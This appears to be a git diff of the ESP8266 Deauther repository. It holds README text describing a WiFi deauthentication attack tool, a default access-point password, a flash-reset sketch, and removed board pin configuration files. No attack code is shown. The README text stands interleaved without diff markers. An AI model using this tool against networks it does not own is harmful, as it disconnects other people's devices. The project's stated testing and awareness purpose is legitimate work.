Or become a patron on <a href="https://patreon.com/spacehuhn" target="_blank">patreon.com/spacehuhn</a>.<br>
|
||||
Also available: <a href="https://www.tindie.com/products/Spacehuhn/spacehuhn-stickers/">Stickers</a></b>!
|
||||
</p>
|
||||
**Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners.**
|
||||
|
||||
## New Documentation
|
||||
|
||||
## What is New
|
||||
[Here is a quick video about what is new](https://youtu.be/6oRmm3xfp6U)
|
||||
Version 2.0:
|
||||
- Completly rewritten code base for better performance and later enhancements
|
||||
- Custom Deauther SDK for easy compiling using Arduino
|
||||
- New serial command line interface to control and debug the program
|
||||
- New display UI with a lot of new functions
|
||||
- Improved web interface with multi-language support
|
||||
- Improved scanning for access points and stations (+ continuous scanning mode)
|
||||
- Save and select device names for both scanning and attacking
|
||||
- Save up to 60 SSIDs and 25 devices in one list (you can create, load and save multiple lists)
|
||||
- Added [PacketMonitor](https://github.com/spacehuhn/PacketMonitor) to display UI
|
||||
- Deauth detection when scanning
|
||||
- RGB LED support for a quick indication what the device is doing (attacking, scanning, ...)
|
||||
- Better documentation on the new [wiki](https://github.com/spacehuhn/esp8266_deauther/wiki)
|
||||
Hi 👋
|
||||
Please visit [Deauther.com](https://deauther.com) for information about this project.
|
||||
Here are some quick links:
|
||||
|
||||
## About this project
|
||||
This software allows you to easily perform a variety of actions to test 802.11 wireless networks by using an inexpensive ESP8266 WiFi SoC (System On A Chip).
|
||||
* [Buy](https://deauther.com/docs/buy)
|
||||
* [Download](https://deauther.com/docs/download)
|
||||
* [DIY Tutorial](https://deauther.com/docs/category/diy-tutorial)
|
||||
* [Usage](https://deauther.com/docs/category/usage)
|
||||
* [FAQ](https://deauther.com/docs/faq)
|
||||
|
||||
The main feature, the deauthentication attack, is used to disconnect devices from their WiFi network.
|
||||
No one seems to care about this huge vulnerability in the official 802.11 WiFi standard, so I took action and enabled everyone who has less than 10 USD to spare to recreate this project.
|
||||
I hope it raises more attention on the issue. In 2009 the WiFi Alliance actually fixed the problem (see [802.11w](https://en.wikipedia.org/wiki/IEEE_802.11w-2009)), but only a few companies implemented it into their devices and software.
|
||||
To effectively prevent a deauthentication attack, both client and access point must support the 802.11w standard with protected managment frames (PMF).
|
||||
While most client devices seem to support it when the access point forces it, basically no WiFi access point has it enabled.
|
||||
## Password
|
||||
|
||||
Feel free to test your hardware out, annoy these companies with the problem, share this project and push for a fix!
|
||||
This project is also a great way to learn more about WiFi, micro controllers, Arduino, hacking and electronics/programming in general.
|
||||
**But please use this tool responsibly and do not use it against others without their permission!**
|
||||
The password for `pwned` is `deauther`
|
||||
|
||||
The difference between deauthing and jamming: [click me](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ#difference-between-jammer-and-deauther)
|
||||
## About this Project
|
||||
|
||||
## Official Deauther Boards
|
||||
This firmware allows you to easily perform a variety of actions to test 802.11 networks using an [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It's also a great project for learning about WiFi, microcontrollers, Arduino, hacking and electronics/programming in general.
|
||||
|
||||
![PICTURE DSTIKE Deauther OLED Board](https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/img/DSTIKE_Deauther_Board.jpg)
|
||||
|
||||
If you want to support the development of this project, you can buy one of the offical boards by DSTIKE (Travis Lin) on following sites:
|
||||
- [Tindie](https://tindie.com/stores/lspoplove)
|
||||
- [AliExpress](https://dstike.aliexpress.com/store/2996024)
|
||||
- [Taobao](https://shop135375846.taobao.com)
|
||||
|
||||
Those boards are optimized for this project, ready to use and come preflashed with the Deauther software!
|
||||
For more details visit the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) under [Supported Devices](https://github.com/spacehuhn/esp8266_deauther/wiki/Supported-Devices).
|
||||
The deauthentication attack is the main feature, which can be used to disconnect devices from their WiFi network.
|
||||
Although this denial-of-service attack is nothing new, a lot of devices are still vulnerable to it. Luckily this is slowly changing with more WiFi 6 enabled devices being used. But a lot of outdated WiFi devices remain in place, for example in cheap IoT hardware.
|
||||
With an ESP8266 Deauther, you can easily test this attack on your 2.4GHz WiFi network/devices and see whether it's successful or not. And if it is, you know you should upgrade your network.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This project is a proof of concept for testing and educational purposes.
|
||||
Neither the ESP8266, nor its SDK was meant or built for such purposes. Bugs can occur!
|
||||
Neither the ESP8266, nor its SDK was meant or built for such purposes. **Bugs can occur!**
|
||||
|
||||
Use it only against your own networks and devices!
|
||||
**Use it only against your own networks and devices!**
|
||||
Please check the legal regulations in your country before using it.
|
||||
I don't take any responsibility for what you do with this program.
|
||||
|
||||
It is **not a frequency jammer** as claimed falsely by many people. Its attack, its method and how to protect against it is described above. It uses valid Wi-Fi frames described in the IEEE 802.11 standard and doesn't block or disrupt any frequencies.
|
||||
|
||||
This project is meant to draw more attention on this issue.
|
||||
The [deauthentication](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed.
|
||||
A solution is already there, why don't we use it?
|
||||
|
||||
**Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!**
|
||||
If you do, it only proves that you didn't understand anything of what this project stands for. Publishing content about this without a proper explaination shows that you only do it for the clicks, fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard!
|
||||
|
||||
## Getting Started
|
||||
|
||||
Visit our new [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) on how to recreate this project and use it.
|
||||
Happy Hacking!
|
||||
|
||||
## Credits
|
||||
A huge thanks to:
|
||||
- [@deantonious](http://github.com/deantonious)
|
||||
- [@jLynx](https://github.com/jLynx)
|
||||
- [@lspoplove](https://github.com/lspoplove)
|
||||
- [@schinfo](https://github.com/schinfo)
|
||||
- [@tobozo](https://github.com/tobozo)
|
||||
- [@xdavidhu](https://github.com/xdavidhu)
|
||||
- [@PwnKitteh](https://github.com/PwnKitteh)
|
||||
|
||||
for helping out with various things regarding this project and keeping it alive!
|
||||
|
||||
I also want to thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online!
|
||||
|
||||
Shoutout to everyone working on the libraries used for this project:
|
||||
- [esp8266-oled-ssd1306](https://github.com/ThingPulse/esp8266-oled-ssd1306)
|
||||
- [ArduinoJson](https://github.com/bblanchon/ArduinoJson)
|
||||
- [LinkedList](https://github.com/ivanseidel/LinkedList)
|
||||
|
||||
Also thanks to everyone that supports this project by [donating](http://spacehuhn.de/donate), being my [patron](http://patreon.com/spacehuhn) or buying one of the [official Deauther boards](https://www.tindie.com/stores/lspoplove) from DSTIKE.
|
||||
|
||||
## License
|
||||
|
||||
This software is licensed under the MIT License. See the [license file](LICENSE) for details.
|
||||
We don't take any responsibility for what you do with this program.
|
|
@ -0,0 +1,14 @@
|
|||
# RESET
|
||||
|
||||
## Method 1
|
||||
|
||||
Open the Reset_Sketch.ino and upload with the correct settings.
|
||||
|
||||
## Method 2
|
||||
|
||||
Flash one of the `reset_` files.
|
||||
|
||||
## Method 3
|
||||
|
||||
Flash the `blank_1MB.bin` to 0x000000 for 1MB modules.
|
||||
Flash it to 0x000000, 0x100000, 0x200000 and 0x300000 for 4MB modules.
|
|
@ -1,5 +1,5 @@
|
|||
#include <EEPROM.h>
|
||||
#include <FS.h>
|
||||
#include <LittleFS.h>
|
||||
|
||||
/*
|
||||
Upload this sketch to your ESP8266 to erase
|
||||
|
@ -25,10 +25,10 @@ void setup() {
|
|||
|
||||
Serial.println("EEPROM cleaned");
|
||||
|
||||
SPIFFS.begin();
|
||||
LittleFS.begin();
|
||||
Serial.println("SPIFFS initialized");
|
||||
|
||||
SPIFFS.format();
|
||||
LittleFS.format();
|
||||
Serial.println("SPIFFS cleaned");
|
||||
|
||||
ESP.eraseConfig();
|
||||
|
@ -44,4 +44,4 @@ void setup() {
|
|||
|
||||
void loop() {
|
||||
|
||||
}
|
||||
}
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,4 @@
|
|||
# arduino-cli.yaml
|
||||
board_manager:
|
||||
additional_urls:
|
||||
- https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json
|
|
@ -1,83 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
//#define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
// if it doesn't work try changing NEO_GRB to NEO_GRBW
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
0x3c = I2C address
|
||||
SDA = GPIO 5 (D1)
|
||||
SCL/SCK = GPIO 4 (D2) */
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,19 +0,0 @@
|
|||
# DSTIKE Deauther OLED v1 - v1.5
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Digital |
|
||||
| LED R | GPIO 16 |
|
||||
| LED G | disabled |
|
||||
| LED B | GPIO 2 |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SSD1306 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button Left | disabled |
|
||||
| Button Right | disabled |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,83 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
//#define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
// if it doesn't work try changing NEO_GRB to NEO_GRBW
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
0x3c = I2C address
|
||||
SDA = GPIO 5 (D1)
|
||||
SCL/SCK = GPIO 4 (D2) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,19 +0,0 @@
|
|||
# DSTIKE Deauther OLED v2 - v3
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Digital |
|
||||
| LED R | GPIO 16 |
|
||||
| LED G | disabled |
|
||||
| LED B | GPIO 2 |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button Left | disabled |
|
||||
| Button Right | disabled |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,83 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
//#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
#define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_PIN_R 2 // ESP-12 LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_B 16 // NodeMCU on-board LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
// if it doesn't work try changing NEO_GRB to NEO_GRBW
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
0x3c = I2C address
|
||||
SDA = GPIO 5 (D1)
|
||||
SCL/SCK = GPIO 4 (D2) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,18 +0,0 @@
|
|||
# DSTIKE Deauther OLED v3.5 + DSTIKE Deauth Monster
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Neopixel (WS2812) |
|
||||
| LED Pin | GPIO 15 |
|
||||
| Number of LEDs | 1 |
|
||||
| Display and buttons enabled | YES |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | No |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button Left | disabled |
|
||||
| Button Right | disabled |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,83 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
//#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
#define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
// if it doesn't work try changing NEO_GRB to NEO_GRBW
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
0x3c = I2C address
|
||||
SDA = GPIO 5 (D1)
|
||||
SCL/SCK = GPIO 4 (D2) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,18 +0,0 @@
|
|||
# DSTIKE Deauther v3 & DSTIKE NodeMCU-07 v2
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Neopixel (WS2812b) |
|
||||
| LED Pin | GPIO 15 |
|
||||
| Number of LEDs | 1 |
|
||||
| Display and buttons enabled | NO |
|
||||
| Display Driver | SH1106 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 12 |
|
||||
| Button Down | GPIO 13 |
|
||||
| Button Left | disabled |
|
||||
| Button Right | disabled |
|
||||
| Button A | GPIO 14 |
|
||||
| Button B |disabled |
|
|
@ -1,83 +0,0 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
//#define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_PIN_R 2 // ESP-12 LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_B 16 // NodeMCU on-board LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
// if it doesn't work try changing NEO_GRB to NEO_GRBW
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 14 // D5
|
||||
#define BUTTON_DOWN 12 // D6
|
||||
#define BUTTON_A 13 // D7
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
0x3c = I2C address
|
||||
SDA = GPIO 5 (D1)
|
||||
SCL/SCK = GPIO 4 (D2) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
